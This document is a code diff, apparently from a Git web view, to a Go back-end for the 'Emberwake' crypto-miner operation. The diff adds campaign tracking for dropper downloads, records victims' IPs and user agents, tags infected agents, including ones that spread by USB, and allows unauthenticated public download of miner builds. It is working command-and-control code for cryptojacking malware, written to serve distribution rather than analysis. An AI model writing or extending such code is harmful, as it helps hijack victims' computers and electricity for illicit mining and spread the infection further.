||||
return err
|
||||
}
|
||||
rel = filepath.ToSlash(rel)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
w, err := zw.Create(rel)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.WriteString(w, content)
|
||||
return err
|
||||
})
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if err := zw.Close(); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filename := "emberwake-spread-kit.zip"
|
||||
if req.Campaign != "" {
|
||||
filename = "emberwake-" + req.Campaign + ".zip"
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
w.Write(buf.Bytes())
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
var body struct {
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
|
||||
}
|
||||
@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||
}
|
||||
|
||||
func coalesceStr(vals ...string) string {
|
||||
for _, v := range vals {
|
||||
if strings.TrimSpace(v) != "" {
|
||||
return strings.TrimSpace(v)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||||
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||||
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
Campaign string `json:"campaign"`
|
||||
UTM string `json:"utm"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
|
||||
Payload: mustMarshal(map[string]string{"line": line}),
|
||||
})
|
||||
}
|
||||
|
||||
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
|
||||
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "emberwake_notes_updated",
|
||||
Payload: mustMarshal(notes),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
|
||||
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
175
server/internal/db/campaign.go
Normal file
175
server/internal/db/campaign.go
Normal file
@@ -0,0 +1,175 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
|
||||
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
|
||||
campaign = sanitizeCampaign(campaign)
|
||||
if campaign == "" {
|
||||
return nil
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
|
||||
campaign, buildID, source, ip, userAgent, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func sanitizeCampaign(c string) string {
|
||||
c = strings.TrimSpace(c)
|
||||
if len(c) > 64 {
|
||||
c = c[:64]
|
||||
}
|
||||
// Allow alphanumeric, dash, underscore, dot
|
||||
var b strings.Builder
|
||||
for _, r := range c {
|
||||
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
|
||||
type CampaignHitSummary struct {
|
||||
Campaign string `json:"campaign"`
|
||||
Count int `json:"count"`
|
||||
LastHit string `json:"last_hit"`
|
||||
}
|
||||
|
||||
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
|
||||
if limit <= 0 || limit > 500 {
|
||||
limit = 100
|
||||
}
|
||||
rows, err := d.Query(`
|
||||
SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit
|
||||
FROM campaign_hits
|
||||
GROUP BY campaign
|
||||
ORDER BY cnt DESC
|
||||
LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []CampaignHitSummary
|
||||
for rows.Next() {
|
||||
var s CampaignHitSummary
|
||||
var lastRaw string
|
||||
if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil {
|
||||
s.LastHit = t.Format(time.RFC3339)
|
||||
} else {
|
||||
s.LastHit = lastRaw
|
||||
}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// ListPublicBuilds returns builds eligible for unauthenticated download.
|
||||
// When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N.
|
||||
func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) {
|
||||
if allEnabled {
|
||||
return d.ListBuilds(50)
|
||||
}
|
||||
if latestN <= 0 {
|
||||
latestN = 3
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
var out []*models.BuildRecord
|
||||
|
||||
add := func(b *models.BuildRecord) {
|
||||
if b == nil || seen[b.ID] {
|
||||
return
|
||||
}
|
||||
seen[b.ID] = true
|
||||
out = append(out, b)
|
||||
}
|
||||
|
||||
// Pinned builds
|
||||
pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer pinnedRows.Close()
|
||||
for pinnedRows.Next() {
|
||||
b, err := scanBuild(pinnedRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Operator-marked public
|
||||
publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`)
|
||||
if err == nil {
|
||||
defer publicRows.Close()
|
||||
for publicRows.Next() {
|
||||
b, err := scanBuild(publicRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Latest N by created_at
|
||||
latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN)
|
||||
if err == nil {
|
||||
defer latestRows.Close()
|
||||
for latestRows.Next() {
|
||||
b, err := scanBuild(latestRows)
|
||||
if err == nil {
|
||||
add(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if out == nil {
|
||||
out = []*models.BuildRecord{}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// IsBuildPubliclyDownloadable checks whether a build may be fetched without auth.
|
||||
func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) {
|
||||
if allEnabled {
|
||||
_, err := d.GetBuild(id)
|
||||
return err == nil, err
|
||||
}
|
||||
builds, err := d.ListPublicBuilds(false, latestN)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
for _, b := range builds {
|
||||
if b.ID == id {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// SetBuildPublic toggles the operator public flag on a build.
|
||||
func (d *Database) SetBuildPublic(id string, public bool) error {
|
||||
val := 0
|
||||
if public {
|
||||
val = 1
|
||||
}
|
||||
res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return fmt.Errorf("build not found: %s", id)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
50
server/internal/db/campaign_test.go
Normal file
50
server/internal/db/campaign_test.go
Normal file
@@ -0,0 +1,50 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
defer d.Close()
|
||||
|
||||
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hits, err := d.ListCampaignHits(10)
|
||||
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
|
||||
t.Fatalf("hits=%v err=%v", hits, err)
|
||||
}
|
||||
|
||||
b1 := &models.BuildRecord{
|
||||
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
|
||||
}
|
||||
b2 := &models.BuildRecord{
|
||||
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
|
||||
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
|
||||
}
|
||||
_ = d.InsertBuild(b1)
|
||||
_ = d.InsertBuild(b2)
|
||||
_ = d.SetBuildPublic("b1", true)
|
||||
|
||||
pub, err := d.ListPublicBuilds(false, 1)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ids := map[string]bool{}
|
||||
for _, b := range pub {
|
||||
ids[b.ID] = true
|
||||
}
|
||||
if !ids["b1"] || !ids["b2"] {
|
||||
t.Fatalf("expected public b1 and latest b2, got %v", ids)
|
||||
}
|
||||
|
||||
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
|
||||
}
|
||||
}
|
||||
@@ -134,6 +134,8 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
`CREATE TABLE IF NOT EXISTS audit_log (
|
||||
@@ -164,6 +166,17 @@ func (d *Database) migrate() error {
|
||||
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
PRIMARY KEY (agent_id, task_id)
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS campaign_hits (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign TEXT NOT NULL DEFAULT '',
|
||||
build_id TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT '',
|
||||
ip TEXT NOT NULL DEFAULT '',
|
||||
user_agent TEXT NOT NULL DEFAULT '',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_campaign ON campaign_hits(campaign)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_campaign_hits_created ON campaign_hits(created_at)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
@@ -177,8 +190,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -195,12 +208,13 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread`
|
||||
usb_spread = excluded.usb_spread,
|
||||
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -364,7 +378,7 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned, public`
|
||||
|
||||
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
|
||||
if len(files) == 0 {
|
||||
@@ -393,11 +407,12 @@ func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
var pinnedInt int
|
||||
var pinnedInt, publicInt int
|
||||
var extraFilesRaw string
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt, &publicInt)
|
||||
b.Pinned = pinnedInt == 1
|
||||
b.Public = publicInt == 1
|
||||
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
|
||||
return b, err
|
||||
}
|
||||
|
||||
@@ -37,6 +37,7 @@ type Agent struct {
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
WorkerName string `json:"worker_name,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
@@ -159,6 +160,7 @@ type BuildRecord struct {
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
|
||||
Public bool `json:"public"` // true = listed on unauthenticated public builds API
|
||||
// Pool settings
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
|
||||
Reference in New Issue
Block a user